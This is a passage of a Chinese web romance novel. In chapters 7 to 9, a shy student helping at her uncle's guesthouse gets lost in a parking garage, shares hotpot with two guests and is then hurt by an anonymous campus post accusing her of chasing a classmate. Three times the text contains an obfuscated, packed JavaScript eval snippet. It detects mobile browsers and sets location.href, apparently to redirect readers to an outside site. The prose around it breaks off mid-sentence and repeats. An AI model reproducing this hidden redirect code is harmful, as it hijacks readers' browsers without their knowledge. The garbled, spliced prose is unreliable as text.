贺祁看到她手上的餐盘，里面装着的食物基本上没怎么动。 还有点挑食么？ 这是贺祁的第一反应。 夏汀禾比他先挪开了视线，侧过身关上了冰箱门。 怕她太紧张夹到自己的手，贺祁没再往那边看，低头笑了下，这才继续眼前的事。 被大帅哥这么笑起来问话，前台的女生几乎想都没想，一开口就答应了：“可以啊，民宿的电话是以前的了，还没来得及换。” 回过头来才想起老板的儿子不在家，没人可以开车过去接。 女生拍了下脑袋，纠结地和贺祁说：“不过你能等一下吗？因为最近店里的人手不是很多，我可能需要去安排一下。” 不久前，女生也碰到了同样的事情，本来是说好了的去接，结果司机临时有事跑了，顾客知道后电话里骂了她十几分钟，回头就给了她这个前台差评。 当时正是试用期考核的关键时候，因为这一个差评，她扣了半天的工资。 有了前车之鉴，女生其实有点害怕贺祁也会这样。 虽然帅哥好看，但钱当然才是最要紧的。 女生提着心去看他，见贺祁点了下头，丝毫不介意地说： “没事，反正也不着急，我在附近随便逛逛，你安排好了直接给我打电话就行。” 想到另外一种可能，他挑了下眉，笑着道：“实在没车的话，就让他自己走路过来，反正他这几天正好嚷嚷着要锻炼身体。” 女生被他最后一句话逗笑，心里的紧张感荡然无存，连忙答应下来。 贺祁问完了话就往外走了，果真没有一点要催促的意思。 但毕竟是答应了别人的事，等他一走，女生赶忙想办法。 民宿是有专门接送的车，只是少了会开车的人，唯一闲着且会开的老板儿子出去了，没办法喊回来，她自己又是没考过驾照的，自然也不敢去。 正想着要不和老板说一声情况时，女生眼尖地瞥到了正在拿酸奶喝的夏汀禾。 像是看见救星一般，女生迅速越过桌子跑过去，到她面前，指了一下冰柜，不太好意思地问她： “汀禾妹妹，你喜欢喝酸奶？” 女生从冰柜里拿出几排新鲜的酸奶放在她面前，极为热情地说：“这几排是我放这里的，你想喝的话可以拿去。” 比起牛奶，夏汀禾确实更喜欢冰凉凉的酸奶，不过也只限于两者比较而已，她平日里喝得并不多。现在过来，纯粹是因为午餐吃不下，想找点别的填填肚子。 “谢谢。” 夏汀禾看了看女生的神情，爽快地拿了其中的一瓶，主动问她：“中午还忙吗？有需要我帮忙的地方么？” 就等着她这一句话了，女生赶忙说：“那先问你一件事可以吗？” 女生在夏汀禾点头后，才怀揣着期望、小心翼翼地开口： “你……会开车吗？能开两个小时，去接人的那种。” 7. 消息 烈日之下，海边的风景也变得不是那么赏心悦目了。 等了半小时不见人过来，梁浩又一次拨了某人的电话。 几秒后接通，他拿着手上的挎包挡太阳，无奈叹了口气，开口问：“哥，不是说民宿会有人来接的么？我都快晒成烤肉了，人影都没见着。” 这下连哥都叫上了，他不信这人能够这么狠心。 电话那头少见地没有怼他，只笑了下，就在几秒后丢出两个简短利落的字：“来了。” 话音落下，一辆白色的轿车就稳稳地停在了梁浩面前。 梁浩下意识地以为是贺祁，待车窗降下后，好奇地凑过去问：“你怎么把车开过来了？” 他定睛一看：“不是，这也不是你的车啊。” 他的疑问在看到驾驶位上的夏汀禾后没了音。 女生穿了一件薄荷绿的防晒衣，里面套着干干净净的白色短袖和牛仔裤，低丸子头扎得随意。 明明是很简约干练的穿搭，在她身上却格外多了分乖巧的感觉。 梁浩显然没反应过来，停滞了两秒看着她。 被陌生人这么盯着，夏汀禾感觉到脸颊有些热，不自在地握了下方向盘，想解释说自己是民宿的工作人员。 旁边的贺祁先开了口：“嗯，不是我的，先上车吧，人家特意抽空来接的，别磨蹭了。” 意识到自己的失态，梁浩迅速地提着大包小包坐上了后排，同时不忘发消息“指指点点”副驾驶位上的贺祁。 【兄弟，这就是你的不对了，怎么能让女孩子开这么久的车来接人？看吧，说你没谈过恋爱不懂，过来人可以给你一点建议】 贺祁慢悠悠地回他：【你抓住重点了，是接你，不然我和她根本不需要过来】 梁浩：【？哥，你再看一遍，我是这意思吗？】 贺祁：【噢，看三遍了，是】 梁浩：“……” 贺祁本来也以为民宿会有专门的司机来接，但没想到他接到前台电话，告诉他安排好后，见到的第一个人就是夏汀禾。 他并不知道夏汀禾的身份，不过看她上班时间还可以看着海发呆，也不用处理民宿里的杂事，估摸着大概是老板的女儿或者亲戚。 只要有人来接，随便是谁都行，这点贺祁并不在乎，于是报了地址后，就和她一起过来了。 三个人算不上熟，贺祁没说，梁浩也不知道夏汀禾就是那天在巷子里的女生。 两小时的车程各自做着自己的事，安安静静地也就过去了。 直到抵达目的地，夏汀禾要把车停进地下车库。 地下车库环境昏暗，车辆又多，夏汀禾考驾照不过一年，在家里开车的次数更是屈指可数。更别说只来过这边一两次，几乎是相当于完全没有记忆。 好在贺祁他们早在门口下了车，不会看到她现在四处找路的模样。 转了好几圈，夏汀禾才在一堆车里找到地方，边退边小心地把车停好。 关了窗从驾驶位上下来，她松了口气，结果锁完车门，往四周一看，突然发现自己刚刚忘记记出口的位置了。 夏汀禾：“……” 她尝试着凭借着记忆原路返回，只是记忆中的路线本来就是一团乱麻——她进来的时候转了不下六次方向。 几分钟后，别说出去了，原本停车的地儿也不知道在哪个方位了。 夏汀禾：“…………” 夏汀禾第一时间想到的是舅舅。 不过正是下午民宿里忙的时候，给舅舅打电话求助，并不是她的第一选择。 要不再过一会儿好了？ 再过十分钟，要是还没找到出口，夏汀禾决定就打电话过去问。 这么想着，夏汀禾于是又继续漫无目的地看导航和地图，在车库里转了又转。 十分钟后，她已经开始有点躁动了。 她不喜欢黑暗的地方，尤其还没什么人在附近。 早知道刚刚就不把车停进来了。 夏汀禾深吸了一口气，点开了舅舅的电话号码。 正犹豫不决要不要打，手机界面忽地跳出来一条消息。 贺祁：【还没出来？】 半昏暗的四周，这道消息像是瞬间点亮了些许光。 夏汀禾莫名感觉到心跳加快了些。 短暂半天的相处，夏汀禾大致估摸出这人是挺细心的，说话做事都很会照顾旁人的情绪。 以为是在催她一起回去，顾及到舅舅的生意，她回复贺祁说：【你们先回民宿吧，不用等我了】 其实可以的话，她还挺想让贺祁帮一下忙，开个位置共享之类的。导航每次到了地下就开始变得不准。 不过她和贺祁也不熟，并没有理由让别人这么做。 发完了消息，夏汀禾也没期待会有另外的回复了，退出界面，继续准备打电话给舅舅。 然而。 贺祁回了她。 【你在哪？】 直接忽略了她前面的那句话。 心跳好像变得更快了些。 夏汀禾下意识地告诉他答案：【还在车库】 这句发出去后，没了回音。 猜测他们大概已经回去了，夏汀禾松了口气。 来来回回又挨了小半个钟头，终于等到了一个整点，猜测舅舅应该要休息了，她立刻点开号码拨了出去。 电话铃声在她身后同时响起。 恍惚了片刻，夏汀禾往后一看，有个人影站在出口处。 “小禾！” 再熟悉不过的一声。 只是离得太远，夏汀禾一时间看不清楚是谁，不太敢确定，直到走近了，才发现是舅舅。 “舅舅？”她疑惑地喊了一声。 确定了是舅舅后，心里的那点害怕瞬间被抚平。夏汀禾赶忙跑过去，跟在舅舅身边。 舅舅一边带着她往外走，一边说：“怎么让你去开车接客人了。这地下黑咕隆咚的，怪吓人的，前些日子有个……” “舅舅！”怕他说出什么吓人的事，夏汀禾赶紧叫住了他。 “欸。”舅舅高兴应了一声，还没明白侄女怎么突然叫自己，但确实有效，他转眼就忘记了自己要说什么。 夏汀禾回答他前面的问题：“店里司机抽不开空，我就自己说去一趟，挺久没开车了，正好也当练练手。” 没等舅舅回答，她先反问了：“您怎么过来了？是要开车出去吗？” “开车出去做什么？店里还有一堆事没忙完呢。” 舅舅回她说：“住店的两个小伙子在群里说你在车库迷路了，怕你找不到路，我这才过来。俩小伙子还挺热情，改天请他们吃个饭。” 吃饭的事夏汀禾没听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509844|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进去了。 听完舅舅的话后，夏汀禾立即点开了民宿群。贺祁和梁浩发的消息赫然显示在最瞩目的位置，底下还有一堆人跟着回应。 贺祁：【@老板，麻烦您安排人去一趟地下车库，接我们的员工在里面迷路了】 梁浩：【老板快点吧，人都在里面一小时没出来了，我们找了也没看到】 【一小时？哎呦，不会出什么事了吧？！】 【是个小妹妹开的车吧？是老板的侄女还是女儿来着，赶紧叫人去看看吧，别是中暑晕倒了】 【是这位[图片]，今早上还在前台帮忙的，我说下午怎么没看到人了】 【去车库的注意了，看到图片上的这位，记得帮一下忙！把人带出来！】 【帮忙转发一下！】 【转发了！转发了！】 舅舅还一本正经地跟着在后面感谢：【谢谢各位，我这就过去看！没事的话会和大家报平安的】 夏汀禾：“……” 她只是迷路了，不是失踪了！ - 因为下午的事情，到了晚上，民宿里来来往往的客人基本上都认识了夏汀禾。 努力劝说自己脸皮厚些，夏汀禾在前台接待客人也就慢慢变得麻木起来。 晚上七点，她被舅妈强制拉着下班去吃东西。先回到家里换下了工作服，穿上舒适的棉裙，夏汀禾才重新出门。 民宿附近有一条商业街，靠近著名旅游景点的古镇，街上的装饰也是古色古香。 十分熟悉地找到一家对口味的牛肉火锅餐馆，夏汀禾在门口看了眼，还有空位。 对于这家店的名气来说，挺难得的。 不用排队，夏汀禾想都没想，直接踏上台阶准备进去，只是这时突然有人跑到了她的面前。 高大的身影直接把她的路挡得一干二净。 对方伸手在她眼前晃了晃，挺自然地叫了她：“诶，朋友。” 夏汀禾想了一下，记起他的名字叫做梁浩。 梁浩其实长得挺周正，算是阳光开朗那一类的，甚至长相比一般男生看着都要舒适得多，只不过跟在贺祁身边，就显得不怎么突出了。 而且现在一看到他，夏汀禾就会自动想到下午他在群里说的话，根本没办法不带复杂的情绪和他交流。 脸上扯出一个标准的营业微笑，夏汀禾问他：“有什么事吗？” 夏汀禾想说没什么事的话，她就先进去吃火锅了。 中午吃得太少，又折腾了一下午，她的肚子已经撑不住了，尤其店里的香味还在时不时地诱惑着人。 梁浩没回答她的话，反而是先反问：“你是要吃晚饭么？” 夏汀禾点了点头。 “那我请你，咱们一起吃吧，下午让你跑了一趟，实在不好意思。” 没想到这个原因，夏汀禾立即摆了摆手：“不用了，这本来就是民宿提供的服务。” 梁浩却误以为她是觉得自己单独约她会有点别的意思，赶紧澄清：“那也没事，就当是交个朋友，反正我和贺祁也正好过来吃饭。” 他抬手一指，夏汀禾就看到不远处站在路灯下的人。 贺祁正低头看着手机，似乎是在回复谁的消息，但仿佛能听见他们说话，在梁浩指过来的那一刻，也抬头望向了这边。 直白地和她对视着。 8. 蛋炒饭 进了店里，三个人被服务员安排着坐在了最外面的位置。 刚一坐下，梁浩迅速撇清下午的事情和自己的关系。 “下午我们本来是打算进去找你的，结果是他。” 他暗戳戳地指了下还在一旁接电话的人，笑得没心没肺。没有甩锅的意思，看得出来是他们平日里互损的方式。 “他说直接在群里发消息说一声更快一点，所以就在群里讲了一下。如果让你尴尬了的话，那不好意思啊，怕你出事，当时也暂时想不到有没有其他更好的办法了。” 被不下五个人拉着问过了“失踪”的事，夏汀禾现下已经完全脱敏了，只想快速掠过这个话题。 她小声回应说：“没事。” 梁浩倒是没想到夏汀禾看起来挺乖巧，说话也温温柔柔的，但是开车技术确实不错，下午上高速路的时候直接开在限速的边缘，他提前做好的头发都差点被窗外疯狂钻进来的风吹成了杀马特。 很少会把气氛冷场，对着夏汀禾笑了笑后，梁浩又道：“总之谢谢你来接我。” 她点了点头，又听到梁浩问：“对了，你是本地人对吧？听说这边有个古镇，晚上灯火挺漂亮的，是不是真的啊？我和贺祁还挺想去看的。” 古镇离夏汀禾家不远，她几乎每天晚上从阳台上都能看到。 外地人旅游必去打卡的景点之一，网上宣传的图片也确实真实，甚至实景还会更惊艳一些，那是小时候夏汀禾常去走街串巷的地方，不过自从爸妈离婚了之后，她就很少去了。 见梁浩挺感兴趣，夏汀禾认认真真回忆起细节，给他做了推荐。 两个人坐在位置上又聊了一些普通的话题，大多数时候是梁浩在说话。 夏汀禾能看出来他应该是很善于社交的那一类人。 和贺祁给她的感觉很像，但又不完全一样。 梁浩像是身边人缘很好的朋友，不会有距离感，贺祁则是和谁都能搭得上话，即便只是刚认识，他也能让你感觉到和这人相处起来很舒服，不由自主地想要深交。 只不过也仅此而已。 他的随和中带着疏离，交往过后彼此都清楚，不会再有进一步的关系了。 而夏汀禾正好和他们都相反，她在学校里就很少参加各类活动，大学两年过去了，班上的同学还有一大半没交流过。 比起和别人聊天谈心，结束后再因为他人的一句话内耗，她更喜欢自己一个人待着。 每个人有自己舒适的生活方式，这点她没觉得有什么不好，只是偶尔看到宁苒她们和高中的同学一起聚会，她也会有些羡慕，羡慕那样的自在洒脱和那么长时间的友谊。 “您好，您这边点的是番茄和牛油锅底，请核对一下。” 火锅汤底端上来时，贺祁正好从前台过来。 这人坐在了自己对面，夏汀禾才意识到贺祁的身高绝对在一米八以上。 桌子下的一双长腿微曲岔开着，他整个人懒散地靠着沙发后背坐着。 贺祁没怎么没说话，只听着他们俩一问一答，时不时笑几下，随即又低下头在手机上打字回复消息。 他低着头，天花板上的灯影就落在侧脸上。 夏汀禾意外发现原来有的男生睫毛也很长。 一直盯着别人看不太礼貌，就在她准备收回视线时，一直在回消息的贺祁忽地抬头。 本来应该是放松一下随便看看，大概也没想到夏汀禾会望向他这边，贺祁愣了两秒。 两个人正好对视上。 耳边梁浩还在说话，但声音似乎越来越小，空调吹出来的冷风好像也没那么冷了。 那双刚才她觉得好看的眼眸此时就这么看着她。 他的睫毛确实很长，五官也生得精致。 好一会儿后，反应过来，夏汀禾想迅速看向别处。 贺祁却很快恢复了平常漫不经心的模样，勾了下嘴角，加上本就是很惹人瞩目的长相，脸上明摆地写着 ——“躲什么，我知道你在看我”。 他和夏汀禾应该是两个极端，一个脸皮极厚，一个薄得经常脸颊泛红。 还是梁浩突然插进了他们之间，问：“怎么了？你们俩？” 如果他没记错的话，大家应该都是今天才认识的吧？怎么你们一副很熟的样子？ 两个人错开了视线，同时看向了他。 “没怎么。”在夏汀禾耳尖变红之前，贺祁笑了笑，先接了话，“你接着说，我们俩都听着呢。” 信他就有鬼了。 不过梁浩也懒得去猜测他们之间是不是有点别的什么。 他和贺祁相处了这么久，人品方面他还是知道的。 贺祁尽管长着一张看起来会到处瞎撩妹子的脸，但实际上从来没和任何女生有过感情纠葛，要是有，也是另一边单方面的。 他不会给自己不喜欢的人任何猜测和希望，拒绝明确，不留余地。 然而在看到这人在说完之后，又笑着朝夏汀禾那边瞥了一眼，梁浩顿时就有点怀疑自己以前的结论了。 ——不是，兄弟，你不会要打我脸吧？ 梁浩用眼神和贺祁交流了一下，被后者敷衍了事应付了过去。 夏汀禾倒是不知道梁浩心里已经想了这么多。 被他的问话打断之后，她打算靠吃东西转移注意力。 这一看，才发现梁浩点的菜品大多是些动物内脏。 有几样是店里的招牌，价格比牛肉还贵。 但很不巧，这些刚好都是夏汀禾不爱吃的。 习惯了迁就别人，再加上是对方请客，筷子转了一圈也没找到想夹的，夏汀禾也没再提出其他的请求，想着待会儿回家了再随便煮一包泡面算了。 “不喜欢吗？”见她一直没动，梁浩问了句。 “不是。”夏汀禾摇了摇头，端起果汁喝了一口，“我还不是很饿，想等一下再吃。” “哦哦，好。”梁浩理所应当地以为她说的是实话。 得了空，她到处瞧瞧，看到贺祁又恢复了之前的状态，打字速度飞快地在手机上回消息。 一直到所有菜都上齐了，他才收了手机。 因为室友的话在先，夏汀禾带有偏向性地以为他是在和女朋友聊天。 “这不都放假了？老周还给你安排任务？”梁浩看他从早忙到晚了，直接问出口了。 听到这个称呼，夏汀禾心想：他都是这么称呼好哥们的女朋友的吗？会不会……有点太特别了？ 贺祁边夹了一块牛肉放碗里边回复他：“实验数据那边出了点问题，老周让我解释一下。反正也没什么事，说一下也免得他老人家担心。” 他说得很轻松。 要不是刚刚意外瞥到了他手机界面的一堆数据，夏汀禾还可能真的以为很简单。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509845|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 也是这时才明白过来，老周应该是他们的老师。她顿时为自己前面的狭隘在心里道了一下歉。 “那也不能耽误人放假的时间啊，你现在比我这个的有对象的还忙，我都怀疑自己该不会是丢失了一段你谈恋爱了的记忆。” 梁浩啧了一声：“果然还是不可能。” “能配合你的，应该还不存在。” 贺祁笑骂了他一句滚蛋。 原来他没女朋友的吗？ 夏汀禾不知道自己为什么会突然关注起这一点来。 她也没心思去细想，毕竟吃完了这一顿饭，他们说不定以后再也不会碰到了，别人的私事，也和她完全没关系。 装作没听到他们的聊天内容，夏汀禾低着头乖乖地扒拉着唯一合胃口的蛋炒饭。 直到中途梁浩接到女朋友的电话走了，为了显得不那么尴尬，她才不得不抬头看向对面。 少了一个人，他们这桌顿时就安静了许多，与周围热热闹闹的气氛形成了鲜明的对比。 贺祁看上去并不在意，行为举止依旧挺自在，朋友在没在对他来说都差不多。 在夏汀禾看过来时，他甚至还扬了下嘴角，问她：“这家店蛋炒饭这么好吃？” 他的目光落在夏汀禾面前的瓷盘上。 夏汀禾意识到他是在说自己一直在吃这一样。 被发现了，她立刻停下了筷子，硬着头皮说：“……还可以。” 他自己吃雪花肉片吃得挺欢快。 贺祁脸上的笑容更甚。 以为对方会继续问，夏汀禾正想着找个其他的解释，但没想到笑完后，这人直接起了身，过去了前台。 几分钟后，服务员端了几盘子荤素相当的新菜品上来。 夏汀禾还没弄明白怎么一回事，贺祁用公筷先把新鲜的荤菜放进了锅里，紧靠着她那边。 “下次不吃内脏这些就直接说吧，他口味独特，正常没几个人能和他吃到一块。” 觉得自己说得有点太过严重了，贺祁停顿了下，又补了一句：“要是看你这次挺喜欢的，他下次有事约你可能还会带你来这儿，点差不多的菜。” 夏汀禾：“！” 她赶紧解释：“其实他点的这些应该还不错，只是刚好不符合我的胃口。” “这样啊。”贺祁点了点头，“行，那我回头告诉他。” 语气跟哄人似的。 目的达到，贺祁没忍住，又偏过头笑了下，清咳了下才缓过来，正经地推荐：“这家虾滑和笋尖还不错，你可以试试。” 看到他笑了，夏汀禾也明白过来这人是故意的，顿时气不打一出来。 怎么会有这样的人啊！ 明明知道别人在客气地说，还非要还要逼人承认不喜欢！ 被这么一弄，夏汀禾完全不想再顾及什么尴尬不尴尬了，直接就当作是自己一个人来店里无拘无束地吃。 由于忙着填饱肚子，她基本没主动和对面说话。 贺祁也没打扰。 中午去问前台的时候，就正好撞上她把一大盘没吃完的面包放进了冰箱。 知道她确实是饿了，贺祁自己吃好了就在旁边回消息等着，只不过看到她生气之后，吃得脸颊圆鼓鼓的样子，还是会忍不住地扬一下嘴角。 确实，还挺有意思的。 几天前突然跑出来说要做他女朋友的人。 9. 充电器 用一小时解决完了晚餐，出来后街道上已经灯火通明。 在门口等着贺祁结账，没什么事做，夏汀禾抽空看了眼手机。 因为黎穗提前在群里进行了预告，所以几乎是勾起了所有人的好奇心，翘首以盼着。 不过奇怪的是，离她说的时间已经过去了，仍没见半点动静。 宁苒这时在群里发了一条。 【发了没穗穗@321的小麦穗】 隔了一会儿，黎穗遮遮掩掩地说：【今天我负责的这个账号应该没什么大瓜了……中午是我看错了，QAQ求原谅】 【行吧，看在你这么可爱的份上，姐姐原谅你了[戴墨镜jpg.]】 原以为到这里就结束了，夏汀禾也准备退出来，然而应忱突然在后面接了话。 【等会儿，另外一个校园墙账号好像有，刚发出来没过半小时，评论都超100了】 她在后面补了个链接。 校园墙向来是大学里掌握学生生活信息最全面的地方，小到吐槽食堂饭菜难吃、选课考试消息，大到宣传组织学校里各种娱乐活动。 但这种半小时破一百评论的还是挺少见的。 黎穗反常地紧跟着回火速回应：【这个没什么好看的！咱们还是聊点其他的吧】 不过为时已晚，夏汀禾已经点了进去看。 投稿的是一段很长的话，底下配了一张聊天记录。 【我觉得有的女生追人还是不要太死缠烂打，挺烦的，也很掉价。我兄弟，物理学院院草，认证大帅哥，前几天约人打羽毛球，找不到人，就随便找了个女生，没想到那女生喜欢他，打完球之后直接表白了。这也没什么，反正是你情我愿的事，关键是别人都拒绝了，她还不死心，搞得我兄弟现在看到她就绕道走】 文字没有指名道姓说任何人的名字，夏汀禾却感觉像是被泼了一盆冷水，夏夜的风突然就变得刺骨起来。 她站在原地，一动没动，来回看了好几遍，才理清楚这几行字的意思。 指尖不受控制地点开那张聊天记录。 尽管对话双方的头像都截掉了，但夏汀禾还是能看出来，有一方的说话语气是她再熟悉不过的。 A：【今天也不走小路去图书馆？】 B：【嗯，不走那边】 A：【不是，你不都拒绝了吗？那女生老缠着你干吗？搞得你现在连去图书馆都得绕道走】 B：【还有问题么？没问题就算了】 A：【你脾气好不计较，但我是看不下去了，这样，你说那女生是谁，哥们去帮你说】 B：【我们学院的，夏……】 对话里最后出现了女生的名字，只是被抹去了，但又没擦干净，隐约还是可以看出姓氏。 评论区点赞最高的一条已经解了码。 【该不会是叫xth吧？】 【敢称物院院草的，不就只有fyc么？xth是谁？】 【这个不好说，不过我也是看学院学生的统计表找的，毕竟姓夏的也不多……】 【女生追自己喜欢的人我不否定，不过确实不管男的女的，还是要有点边界感，人家都明确拒绝了，那死缠烂打确实很难看】 【赞同，我向来也支持女生，但要是这位妹妹看到了，也听一句劝吧，强扭的瓜是真不甜，没必要吊死在一棵树上咯】 【？？？很疑惑，为什么大家就觉得这个投稿的人说的就是实情？稿主左一个我兄弟右一个我兄弟，男味有点太重，一时间不知道是不是反串】 【+1，不知道的还以为是他被人追了[笑cry.jpg]】 【总之不管是不是真的，这样做真的挺无语的……被不喜欢的人追只会觉得烦，不会有人以为很浪漫吧？】 【这种人就是很疯，得不到还在自己装深情，最近被一个长得一般身材也一般的追，女的事真多，烦死】 【额，楼上该不会以为自己是绝世大帅哥吧？您的事看着也不少】 …… 一条一条往下翻，夏汀禾到后来几乎是完全不知道自己在看什么了，脑子只剩下一片发懵的空白。 她原以为付言辞只是拒绝她而已。 所以他其实也觉得很烦吗？很讨厌她吗？以至于需要这样来躲避她？ 评论里的人她很多都不认识，为什么仅仅凭着这一段话就开始揣测了呢？ 她没有纠缠过付言辞，也没逾越的行为。 为什么……为什么要这么说她？ 心里扎过一阵刺痛，泪水紧接着就从脸上划过。 完全控制不住。 身后的门突然被推开，发现是贺祁出来了，夏汀禾迅速低头用手背擦了下眼眶。 没等贺祁说话，她就丢下一句话匆匆离开了。 “我有事，需要先回民宿了，抱歉。” - “汀禾，你回来了？在外面吃完饭了？” 见夏汀禾低着头匆匆上楼，坐在大厅里清算账单的舅妈问了一句。 “嗯。”夏汀禾点了点头，回答的声音几乎快要听不见。 舅妈以为她是学校里着急的事，没多想，又被儿子一个电话打过来扰乱了思绪，稍微的一点怀疑也就被抛掷脑后了。 脚下的步子越走越快，夏汀禾只是一股劲地往前闯，最后刷卡开门的那一下，她的手几乎抖动得要拿不稳。 直到回到房间，关上了门，她才靠着门背，精疲力竭地蹲下，终于忍不住地哭了出来。 这几天所有的委屈和压抑终于在这一刻爆发。 从被拒绝之后，她就几乎没有再彻底地放松过。只是因为在学校里有室友在旁边陪着、安慰着，所以她不停地克制自己，不想让朋友看出她的真实状态，为她担心。 原本以为过段时间就好了，但并没有。 轻轻一推，她心里摇摇欲坠的防线就可以彻底崩塌。 她不明白为什么自己只是喜欢一个人而已，为什么要承受这么多的痛苦？ 喜欢不应该是开心的、愉悦的吗？为什么到了她这里，却总是痛苦和酸涩占大多数？ 是不是她真的太差劲了。 几乎是没办法控制住的，夏汀禾在这一刻把所有负面的东西一股脑地往自己身上堆。 好像只有这样，她才能找出一个付言辞不喜欢她的理由。 晚上的房间本就昏暗，没有开灯，就显得更加压抑。 好在隔音效果好，夏汀禾也只是安静地抽泣，即便是从门口路过的，也没人发现她在哭。 后来不知道过去了多久，等清醒来时，她发现自己依旧蹲坐在地上，头埋在两膝之间。 喉咙干哑，夏汀禾撑着墙面起来，摇摇晃晃地去倒水喝。 手机已经震动了不止一个小时，三个室友轮流给她发信息，没得到回应之后又换成给她打电话。 【汀妹，我已经联系账号的负责人让他删除了，评论的人根本不知道情况，完全是在瞎猜，你别放在心上】 【你是不是在你舅舅家住？我离那边也不远，我过去找你怎么样？】 【汀妹，你在看手机吗？接一下电话吧，不开心的话我们陪你说话，给个机会吧漂亮宝宝】 三个人后面越想越害怕，担心她出事，已经在群里讨论要不要联系她的舅舅了。 喝完了水，看到消息，夏汀禾眼眶再次泛红。 关心她的人这么多，她的注意力却始终放在一个看都没看过自己几次的人身上。 夏汀禾莫名觉得有点好笑。 这一场哭已经耗光了她所有的力气。 几乎没办法再多说什么，她只能强撑着回了一条：【我没事，你们不用担心】 怕她们不信，夏汀禾揉了揉眼睛，特意挑了一张刚才拍的牛肉火锅图发了过去。 【我刚刚和朋友吃完火锅，没注意看消息，抱歉】 室友没回复她，直接打了拉了群打电话过来。 夏汀禾准备了半分钟，顺便洗了把脸，才点了接通。 “喂？汀妹有听到吗？”宁苒先开了口。 在这时听到熟悉的人的声音，总觉得心里很安心，夏汀禾把手机拿远了些，努力不让她们听出异样。 “嗯……有听到。” “那就好。”宁苒笑了下，“我还怕我这边网络不好呢。” “你在家里吃的火锅吗？还是在外面吃的呀？” 她们默契地没先提校园墙上的事。 黎穗也赶紧应和：“对对对！早就听说你家乡那边牛肉火锅很好吃，下次我也想去试试。” 应忱：“旁边还有天文馆，顺道也可以一起去看看。” 一人一句地聊着别的事情，夏汀禾听着她们说话，偶尔回应一两句，也慢慢平和下来。 黎穗尝试说起上次的事缓解气氛：“对啦，汀妹，上次给你看的帅哥你有没有中意的？有的话我都说了，我帮你安排。” 夏汀禾没想到她还记得这件事，自己都快忘了。 “暂时没有。”她努力挤出一丝笑声。 “没有也没关系！谈恋爱就这么回事，没必要把它看得太重要，自己享受才是最主要的。如果不舒服，那就踹了，绝对不要委屈自己。” 应忱跟着说：“赞同，把主动权掌握在自己手里，不要被别人牵着情绪走。” 主动、掌握在自己手里吗？ 夏汀禾不知道为什么被这一句话戳中了，恍惚了片刻。 一直到宁苒被父母催着去睡觉，她才听清楚了室友后来的话。 “汀妹，其实那个聊天记录对面的也不一定就是付言辞。” 黎穗：“对啊，说不定是投稿的那个瞎编的。你知道的，有的人为了找骂，什么话都编得出来。” 没听到夏汀禾的回答，宁苒试探着问：“如果你不相信的话，那我们帮你去问问付言辞？你放心，我们绝对不会让他知道是帮你问的！” 喜欢一个人的时候，其他人的看法都不会有他的更重要。 解铃还须系铃人。 宁苒她们也正是因为知道这点，也明白夏汀禾对付言辞的感情，所以才会这么说。 凭借付言辞的人品，她们有一半的信任，相信不是他说的。 只要澄清了这点，夏汀禾就肯定不会太难过了。 宁苒怕她不好意思，又多加了一句：“你不说话，我就当你答应了？” 电话那头依旧沉默了许久。 就在宁苒都已经想着该怎么去让别人问付言辞这事时，夏汀禾给了答复：“不用了。” “嗯？” “啊？” 三个人同时疑惑，接着就听到夏汀禾又重复了一遍。 她的声音平静了许多。 “谢谢你们，不过不用了。” “不管是不是他说的，都不重要了。” 她为什么一直要跟在付言辞的身后？为什么要这么在乎他的看法？ 明明人家从来就没有在意过她。 她不想再被他影响了。 也不想跟和他有关的一切产生联系。 她想要的，是全新的、由她自己掌握的生活。 - Q大男生宿舍。 陈航正坐在下桌吃宵夜打游戏，决胜的关键时刻，宿舍门突然被“砰”的一声推开。 迅速往门口那瞥了眼，看到有个人影过来，陈航又继续聚精会神在手机上。 “言辞，你回来了啊？” 付言辞回了宿舍之后也是自己做自己的事，和平常在外面一样不怎么爱说话，陈航这么问也只是客气一下而已，没期待他会回答。 只是这次他没想到，付言辞不仅开口和他搭话了，还直接站在了他的身边。 “你做的？” “啊？”陈航正打游戏打得尽兴，完全没听清楚他的话，“做什么？哦，你说夜宵啊？不是，我刚点的外卖。” 他正想告诉付言辞这家店味道还不错，然而还没说话，手机就被人抽走了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15509846|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“诶？”陈航抬头一看，付言辞转而就把他的手机扔到了一边，“哐当”一下砸在墙上，手机直接熄了屏。 几秒钟的挂机，游戏立马结束，失败的音效在宿舍响起。 莫名其妙被这么针对了一番，饶是陈航平常总尊着他是学神，考试请求他给划重点，这时也免不了摆出脸色来。 “付言辞，你什么意思？我没惹你吧？”他站了起来，却又不得不仰头看着面前比他高半个头的人。 付言辞脸上的表情始终冷淡如一，他把自己的手机拿到陈航面前，声线极冷地问： “是不是你投的？” 